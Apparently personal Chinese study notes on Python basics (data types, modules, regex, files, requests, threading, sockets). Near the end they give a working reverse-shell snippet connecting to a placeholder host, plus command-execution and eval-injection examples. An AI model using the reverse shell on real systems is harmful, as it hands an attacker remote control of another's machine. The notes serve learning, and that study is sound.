前言

Python提供了高效的高级数据结构,还能简单有效地面向对象编程,由于Python语言的简洁性、易读性以及可扩展性,以及解释型语言的本质,使其成为脚本的首选语言

基础语法

在python中,**表示幂运算,只需要在两数之间用上**,就表明这两个数字进行乘方运算;其中第一操作数为底数,第二个操作数则为指数。例如2**3可表示2的三次方,结果为8

处理异常

try:
    <语句> #运行的代码
except <名字>:
    <语句> #如果在try部份引发了’name’异常
except <名字>,<数据>:
    <语句> #如果引发了’name’异常,获得附加的数据
else:
    <语句> #如果没有异常发生

注释

# 单行注释

1
2
3
4
5
6
7
'''
第一类多行注释
'''

"""
第二类多行注释
"""

输入,输出

输出

  • 普通输出

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #多行输出
    print("""
    1
    """)

    #字符串的输出
    s="你是sb吗?"
    # 0 1 234 5
    # -2-1
    print(s[-1]) #-1从结尾开始,方向相反
    print(s[0:6])#起始位置:终止位置

    print(s[0:6:2])#起始位置:终止位置:步长,且方向为正方向

    #一次输出多个值
    print ('当前字母为 :', letter,'当前变量值为 :', var)

    #f 转化
    a = 'apple'
    print(f'这里有{a}')
    >>>这里有apple

  • format格式输出

    1
    2
    3
    4
    5
    6
    print("{}+{}={}".format(i,j,i+j),end=" ")#end默认为\n
    print("{0}+{1}={3}".format(i,j,i+j),end=" ")

    print("{:.2f}F".format(F))
    print("{:x<4d}F".format(10))#10xx
    print()#只输出换行
  • 通过%实现格式输出

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    >>> price = 24
    >>> item = "banana"
    >>> print("The %s costs %d cents" % (item, price))
    The banana costs 24 cents
    >>> print("The %+10s costs %10.2f cents" % (item, price))#+右对齐,-左对齐
    The banana costs 24.00 cents
    >>> itemdict = {"item":"banana", "cost":24}
    >>> print("The %(item)s costs %(cost)7.1f cents" % itemdict)
    The banana costs 24.0 cents
    >>>

    输入

    1
    2
    3
    4
    str = input("请输入:");
    import sys
    #从标准输入读取一行
    line = sys.stdin.readline().strip()#它返回的是原始字符串,包括换行符(\n),因此通常需要使用 strip() 方法来去除换行符

数据结构

bytes

bytes是字节序列,本质上是一串不可变的整数序列,每个元素:0–255 的 int,即一个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#写法
a=b'1' #0x31
a=b'\x35'#0x35
print(a[0]) #输出85,可见其本质就是一串整数序列
print(a) #b'S' ,如果打印bytes时,恰巧其是ascil的可见字符,就会打印出来

a=b'\x01\x02'
#转化
b'\xa6'.hex() # 输出a6,前面没有0x
b'\x5523'.decode('utf-8') #bytes → str
s.encode('utf-8') #str → bytes

b = bytes([65, 66, 67]) #list → bytes
#b'ABC'

b'meow\x00'.ljust(0x28, b'a') #左对齐,右侧填充 meow\x00aaaaaa
b'meow\x00'.rjust(0x28, b'a') #右对齐,左侧填充 aaaaaameow\x00

int

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#int goto char
>>> ord('A')
65
>>> chr(65)#输入和输出都为十进制
'A'
#int goto string
num = 10
val = hex(num)#转换成16进制形式0xa,但变为了
val = bin(num)
#int goto int
val = int('64', 16)#16 ->10
print(type(val), val)# 结果为 <class 'int'> 100

num = 100
hex_num = num.hex()#10 ->16
print(hex_num) # 输出 '64'

str

1
2
3
4
5
6
7
8
9
10
str.isalpha()#检测字符串是否只由字母组成
str.isdigit()#检测字符串是否只由数字组成
str.isspace()#检测字符串是否只由空白字符组成

str = "00000003210Runoob01230000000"
print(str.strip('0')) # 去除首尾字符 0
str2 = " Runoob "
print(str2.strip()) #去除首尾空格
str=str.replace("http://","")
str_a in str_b #str_a是否存在于str_b中

进制转义

上面的int和str还能用进制的方式表示,相当于是转义字符

写法 类型 含义 结果
0x70 int 十六进制整数 112
0o160 int 八进制整数 112
0b1110000 int 二进制整数 112
"\x70" str 十六进制字符转义 "p"
"\160" str 八进制字符转义 "p"

列表(list)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#1.string转list
str = "Line1-abcdef \nLine2-abc \nLine4-abcd";
print str.split(); # 以空格为分隔符,包含 \n
print str..split(';')[0] # 以;为分隔符,返回第一个
print str.splitlines() #按照行('\r', '\r\n', \n')分隔

#2.list转string
#join():可以将序列(也就是字符串、元组、列表、字典)中的元素以指定的字符连接生成一个新的字符串,
a=['I','love','China','!']
f.write('\n'.join(a))

# 3.list 管理
list = ['G', 'R', 97, 20]
sqlist=[x*x for x in range(1,11) if x%2!=0] #使用列表解析式创建列表

del list[2] #删除列表元素
3 in [1, 2, 3] #元素3是否存在于列表中
for x in [1, 2, 3]: #迭代
list.append(123) #在列表末尾添加新的对象
lst.extend('56') #列表末尾一次性追加另一个序列中的多个值(添加前先强制类型转换列表)# 字符串
x=list.index("R") #查找元素的索引

values = list(map(int, line.split()))#利用map迭代对象中的每个元素,这里为str->int,并将返回的map转换为 list


#4.排序
aList = [123, 'xyz', 'zara', 'abc', 'xyz']
aList.reverse()# reverse反向# aList = ['xyz', 'abc', 'zara', 'xyz', 123]

aList = ['Google', 'Runoob', 'Taobao', 'Facebook']
aList.sort() # 升序
aList.sort(reverse=True) # 降序

lst = [[5,8],[5,3],[3,1]]
lst.sort(key = lambda x : (x[1],x[0])) #以元素的第二个元素先升序排列,再以第一个元素升序排列
#lst = [[3,1],[5,3],[5,8]]

#5.多list拼接
sum(lst, []) # [5,8,5,3,3,1]

sort 与 sorted 区别:

sort 是应用在 list 上的方法,sorted 可以对所有可迭代的对象进行排序操作。

list 的 sort 方法返回的是对已经存在的列表进行操作,无返回值,而内建函数 sorted 方法返回的是一个新的 list,而不是在原来的基础上进行的操作。

元组(tuple)

元组与列表的区别在与元组中的元素值是不允许修改,删除,添加的,但我们可以对元组进行连接组合
list(seq)可将元组转换为列表
tuple = ("a", "b", "c")

注意直接采用{},即s={}默认生成一个空字典;用s = set()创建一个空集合

字典(dict)

d = {key1 : value1, key2 : value2, key3 : value3 }
字典是一个无序、可变和有索引的集合,键必须是唯一的,但值则不必,值可以取任何数据类型,但键必须是不可变的,如字符串,数字。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
for i in dishes:#可以直接遍历键
print(i)

#dict.keys()、dict.values() 和 dict.items() 返回的都是视图对象( view objects),提供了字典实体的动态视图
>>> dishes = {'eggs': 2, 'sausage': 1, 'bacon': 1, 'spam': 500}
>>> keys = dishes.keys()
>>> values = dishes.values()
>>> # keys 和 values 以相同顺序(插入顺序)进行迭代
>>>for i,j in dishes.items():#字典遍历
>>> print(i, ":\t", j)

>>> list(keys) # 使用 list() 转换为列表
['eggs', 'sausage', 'bacon', 'spam']
>>> list(values)
[2, 1, 1, 500]
>>> # 视图对象是动态的,受字典变化的影响,以下删除了字典的 key,视图对象转为列表后也跟着变化
>>> del dishes['eggs']
>>> del dishes['sausage']
>>> list(keys)
['bacon', 'spam']

# json转为字典
data = json.loads(text1)
# 修改 key: numbers → answers
data["answers"] = data.pop("numbers")
# 将字典转换为 JSON 格式
json_str = json.dumps(data)

添加,访问项目
通过使用新的索引键并为其赋值,可以将项目添加到字典中:
thisdict["disappear"] = "s"

get(key) 方法在 key(键)不在字典中时,可以返回默认值 None 或者设置的默认值。

1
2
3
4
# 没有设置 Sex,也没有设置默认的值,输出 None
print ("Sex : ", tinydict.get('Sex'))
# 没有设置 Salary,输出默认的值 0.0
print ('Salary: ', tinydict.get('Salary', 0.0))

dict[key] 在 key(键)不在字典中时,会触发 KeyError 异常。

集合

parame = {value01,value02,...}
集合(set)是一个无序的不重复元素序列。

  • 使用 add() 方法向 set 添加项目:
    s.add( x )
  • 集合去重set(x)

模块

python文件

一个 .py 文件就是一个模块,文件名去掉 .py 就是模块名,里面的函数、类、变量都能被导入

1
2
3
4
5
6
7
# mylib.py
def add(a, b):
return a + b

# main.py
import mylib
print(mylib.add(1, 2)) # 模块名.函数名

几种导入写法

1
2
3
4
5
import mylib                     # 导入整个模块
import mylib as m # 起别名,之后用 m.add()
from mylib import add # 只导入一个函数,直接用 add()
from mylib import add as plus # 函数起别名
from mylib import * # 导入所有(不推荐,容易重名)

if __name__ == "__main__": 的作用:自己直接运行时 __name__ 等于 "__main__",被别的文件 import 时 __name__ 是模块名,所以这句里面的代码只在”直接运行”时执行

1
2
3
4
5
6
# run.py
def main():
print("跑主逻辑")

if __name__ == "__main__":
main()

同一个模块只会真正导入一次,之后都从 sys.modules 缓存里取

包

包就是一个带 __init__.py 的目录(Python 3.3 之后可以没有,叫命名空间包)

1
2
3
4
mypkg/
├── __init__.py # 包的初始化代码,可以为空
├── a.py
└── b.py

__init__.py 里常写 __all__,控制 from mypkg import * 到底导入哪些

1
2
# mypkg/__init__.py
__all__ = ["a", "b"]

模块的位置

import 时按 sys.path 列表的顺序挨个找

1
2
import sys
print(sys.path)

顺序大致是

  1. 当前运行脚本所在目录
  2. 环境变量 PYTHONPATH 里的目录
  3. 标准库目录(Lib)
  4. 第三方库目录 Lib\site-packages,pip install 的包都在这

想临时加一个搜索目录

1
2
import sys
sys.path.append(r"D:\mycode")

查某个模块的真实路径,以及是不是已经加载过

1
2
3
import requests
print(requests.__file__) # 文件在哪
print("requests" in sys.modules) # 是否已加载

python查询

Python正则表达式(re模块)

  1. re.search
    re.search(pattern, string, flags=0)
    re.search 扫描整个字符串并返回第一个成功的匹配,匹配成功re.search方法返回一个匹配的对象,否则返回None。
    flag:
    re.I 忽略大小写
    re.L 表示特殊字符集 \w, \W, \b, \B, \s, \S 依赖于当前环境
    re.M 多行模式
    re.S 即为 . 并且包括换行符在内的任意字符(. 不包括换行符)
    re.U 表示特殊字符集 \w, \W, \b, \B, \d, \D, \s, \S 依赖于 Unicode 字符属性数据库
    re.X 为了增加可读性,忽略空格和 # 后面的注释

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    line = "Cats are smarter than dogs"

    searchObj = re.search( r'(.*) are (.*?) .*', line, re.M|re.I)

    #grout文本属性,span位置属性
    print ("searchObj.group() : ", searchObj.group()) #Cats are smarter than dogs
    print ("searchObj.group(1) : ", searchObj.group(1)) #Cats
    print ("searchObj.group(2) : ", searchObj.group(2)) #smarter

    print(re.search('www', 'www.runoob.com').span()) #(0, 3)
    print(re.search('com', 'www.runoob.com').span()) #(11, 14)
  2. re.findall
    re.findall(pattern, string, flags=0)
    在字符串中找到正则表达式所匹配的所有子串,并返回一个列表,如果有多个匹配模式,则返回元组列表,如果没有找到匹配的,则返回空列表。
    result=re.findall(r'\w*?\d+|\w+|[\x21-\x2f]|[\x3A-\x40]',lines)#按照顺序匹配
    str1=re.findall(r'\w{4}',str)

  3. re.sub
    re.sub(pattern, repl, string, count=0, flags=0)
    替换字符串中的匹配项
    lines=re.sub(r'\\n\(\*.*?\*\)\\n','', lines)#去除注释

python文件

普通文本文件的读写

打开文件流

1
2
3
4
5
6
f=open(file='文件路径',mode='文件的操作方式',encoding='utf-8')
对文件操作
f.close()

with open(file='文件路径',mode='文件的操作方式',encoding='utf-8') as f:
对文件的操作

r 以只读方式打开文件。文件的指针将会放在文件的开头。这是默认模式。
w 打开一个文件只用于写入。如果该文件已存在则覆盖该文件,即原有内容会被删除。如果该文件不存在,创建新文件。
a 以追加的方式写,如果该文件不存在,创建新文件。
r+ 在‘r’功能的基础上写
w+ 在‘w’功能的基础上读
wb+ 以二进制的形式写

read

f.read(size)
读取一定大小的数据, 然后作为字符串或字节对象返回
f.readlines()
将文件中所有的行,一行一行全部读入一个列表内,按顺序一个一个作为列表的元素,并返回列表。readlines方法会一次性将文件全部读入内存,所以也存在一定的弊端。但是它有个好处,每行都保存在列表里,可随意存取。

write

f.write(text)
使用write()可以完成向文件写入数据。
f.writelines(['','',''])
读取多段写入文本,需手动换行

csv文件的读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#一次性写入多行
with open('person.csv', 'w', encoding='utf-8', newline='') as file_obj:
# 1.创建对象
writer = csv.writer(file_obj)
# 2.写表头
writer.writerow(header)#列表
# 3.写入数据(一次性写入多行)
writer.writerows(person)

#使用字典的方式将数据写入
with open('tieba.csv', 'w', encoding='UTF-8') as f:
writer = csv.DictWriter(f, fieldnames=['username','地址', 'content', 'reply_time'])

writer.writeheader()

writer.writerows(result_list)

文件操作

  • 使用os模块
  1. 删除文件
    1
    2
    3
    4
    5
    6
    # 要删除的文件名
    filename1 = "1_msg1.txt"
    filename2 = "1_msg2.txt"
    # 删除文件
    os.remove(filename1)
    os.remove(filename2)

python request

get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# http代理,需要指定访问的http协议和https协议两种
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:1080",
}
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0'
}
response=requests.get(short,params={'media_id':media_id,'ps':'20','short':'0'},headers=headers, proxies=proxies)

# 查看响应内容,response.text 返回的是Unicode格式的数据
print(response.text)

# 查看响应内容,response.content返回的字节流数据
print(response.content)

# 如果是json文件可以直接显示
print(response.json())

set_cookie = response.headers.get("Set-Cookie")#获取返回包字段

post

1
2
3
4
5
6
7
8
9
10
11
data = {"upload":"Submit"}#值得注意的是,使用字典作为参数时,requests.post 方法默认会对请求参数进行 URL 编码
data = "key1=value&key2=value2"#以字符串的形式传递时,requests.post 方法就不会对请求参数进行编码
files = {
"file": ("test.xlsx", open("D:\\test.xlsx", "rb"), "application/octet-stream")
}

#response = requests.post(url, json=data)传json
response = requests.post(url=url, data=data, files=files)#传参和文件

if response.status_code == 200:# 查看响应码
print('Request succeeded!')

aiohttp(并发请求)

requests 是同步的,并发靠线程池;aiohttp 是异步的,单线程就能并发几百个请求,批量爬/批量探活更省资源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import asyncio, aiohttp

async def fetch(session, url):
async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as resp:
return resp.status, await resp.text() # 响应体要 await:text() / json() / read()

async def main(urls, limit=8):
conn = aiohttp.TCPConnector(limit=limit) # 同一时刻最多 limit 个连接
async with aiohttp.ClientSession(connector=conn) as session: # 连接池,整批请求复用
tasks = [fetch(session, u) for u in urls]
return await asyncio.gather(*tasks) # 并发执行,结果按提交顺序返回

urls = [f'https://example.com/{i}' for i in range(10)]
print(asyncio.run(main(urls)))

python 多线程

适用场景

  • I/O 密集型任务:网络请求、文件操作这类主要时间花在等 I/O 上的,适合多线程
  • CPU 密集型任务:用多进程(multiprocessing),因为 GIL 让同一时刻只有一个线程执行 Python 字节码

起几个线程分别跑任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import threading, time

def work(name, n=3):
for i in range(n):
print(name, i)
time.sleep(0.1)

t1 = threading.Thread(target=work, args=('wpp',)) # args 是元组,单参数要带逗号
t2 = threading.Thread(target=work, args=('ypp',))
t3 = threading.Thread(target=work, args=('others',), daemon=True) # daemon:主线程结束时跟着退出
t1.start(); t2.start(); t3.start() # start 之后才真正开跑
for t in (t1, t2, t3):
t.join() # 等这些线程结束,主线程再往下走
print(".....")

线程常用属性和方法:t.name、t.is_alive()、t.daemon、t.join(timeout=1)、threading.current_thread().name、threading.active_count()

生产者消费者(queue 传数据)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import threading, queue, time

q = queue.Queue(maxsize=5) # maxsize<=0 表示不限长度

def producer():
for i in range(10):
q.put(i) # 队列满时 put 阻塞,直到有人取走
print('生产', i)
time.sleep(0.05) # 模拟生产耗时

def consumer():
while True:
item = q.get() # 队列空时 get 阻塞
print('消费', item)
q.task_done() # 处理完要告诉队列,q.join() 才等得到
if item == 9: break

p = threading.Thread(target=producer)
c = threading.Thread(target=consumer)
p.start(); c.start()
p.join(); c.join()
q.join() # 等队列里所有任务都 task_done
print('结束')

# q.empty() / q.full() / q.qsize() 看状态(都是方法;queue.Empty / queue.Full 是异常类)
# put(item, block=True, timeout=None):满时 block=False 抛 Full,block=True 阻塞,timeout=N 等 N 秒抛 Full

线程池批量跑任务(ThreadPoolExecutor)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import hashlib
import re
import requests
from concurrent.futures import ThreadPoolExecutor

BASE = "http://127.0.0.1:53746"
WORKERS = 8

s = requests.Session()
s.get(f"{BASE}/stage/3") # 拿 Cookie
cookies = s.cookies.get_dict()

def fetch(invent):
r = requests.get(f"{BASE}/invent/{invent}", cookies=cookies)
if "verdict-ok" in r.text: # 判题通过才收集
return re.findall(r'data-code="([A-Z0-9]+)"', r.text)
return []

with ThreadPoolExecutor(max_workers=WORKERS) as ex:
codes = sum(ex.map(fetch, range(3, 289, 3)), []) # map:批量提交,结果按输入顺序返回 [1, 4, 9]

answer = hashlib.sha256("|".join(codes).encode()).hexdigest()
print("通过", len(codes), "/48")
print("sha256 =", answer)

r = s.post(f"{BASE}/api/finalize", json={"answer": answer})
print(r.text)

python 编码

1
2
3
4
5
from urllib.parse import quote
text1 ="""昆明植物园危化品~1\PC\\
"""
url_encoded = quote(text11, encoding="gb2312")
print(url_encoded)

python socket 网络编程

服务端流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import socket
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建套接字,socket.SOCK_STREAM:表示流式模块,基于tcp协议
server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) #设置端口重用,比如端口已经关闭了但是操作系统还没有释放,会提示端口占用
server.bind(('0.0.0.0',8000)) #绑定ip,端口
server.listen() #监听

print('staring....')
while True: #连接循环
conn , addr = server.accept()
print(addr)
while True: #通信循环
try:
data = conn.recv(1024) #1、单位:bytes 2、最大接收1024个bytes
if not data:break #适用于linux操作系统,如果客户端断开了连接,如果不处理在linux系统上,客户端断开后服务端就会进入的无限循环
print('客户端的数据:',data.decode('utf8'))
conn.send(data.upper()) #服务端接收到客户端的数据后,变成大写再返回给客户端
except ConnectionResetError: #适用于windows系统,如果客户端断开连接,在windows系统就会报ConnectionResetError的错误
break
conn.close()
server.close()

客户端流程

1
2
3
4
5
6
7
8
9
10
11
import socket

client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.connect(('127.0.0.1',8000)) #发起连接,服务端的ip和端口
while True:
cmd = input(">>: ").strip() #去掉空格
if not cmd:continue #如果发的是空就进入下一次循环
client.send(cmd.encode("gbk")) #因为是在windows系统下,所以用gbk
data = client.recv(1024)
print(data.decode("gbk"))
client.close()

python反弹shell

1
2
3
4
5
6
7
8
import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('x.x.x.x',9383));
#下面操作程序会将所有的输入和输出重定向到远程主机,即从远程接收命令并将输出发送回去
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']); #启动一个交互式的 Bash shell

python 命令执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import os

# os.system:交给系统 shell 执行,返回退出码;输出直接打到终端,没有返回值
os.system('whoami')
# os.popen:走 shell,返回值即是命令输出
print(os.popen('whoami').read())


import subprocess

# 1. run:返回 CompletedProcess 对象,不捕获输出(输出刷终端),非0不抛
subprocess.run('whoami')
# 2. call:返回 int 退出码,不捕获输出,非0不抛(≈ os.system)
subprocess.call('whoami')
# 3. check_call:返回 int(成功恒0),不捕获输出,非0抛 CalledProcessError
subprocess.check_call('whoami')
# 4. Popen:返回 Popen 对象,不阻塞、不等待,不捕获输出(需手动 wait/communicate)
subprocess.Popen('whoami')
# 5. check_output:返回 bytes(stdout),捕获输出,非0抛 CalledProcessError,保留末尾换行
print(subprocess.check_output('whoami'))
# 6. getoutput:返回 str(stdout+stderr 合并),捕获输出,非0不抛,shell=True 硬编码,去掉末尾一个换行
print(subprocess.getoutput('whoami'))
# 7. getstatusoutput:返回 (int 退出码, str 输出),stdout+stderr 合并,非0不抛,shell=True 硬编码
print(subprocess.getstatusoutput('whoami'))

python 代码执行函数

1
2
3
4
5
6
7
8
9
10
# eval(...) 调用前,Python 会先把括号里的表达式求值,再把结果传给 eval
eval('1+1') # 2
eval('[i for i in range(3)]') # [0, 1, 2]
eval('x + 1', {'x': 41}) # 42:第 2 个参数是 globals,第 3 个是 locals
# eval('import os') -> SyntaxError:eval 只收表达式
eval("__import__('os').system('whoami')")

# 2. exec:执行语句块,返回 None;可以 import、赋值、调用
exec('print("hi")') # hi
exec('import os') # import 是语句,只有 exec 能跑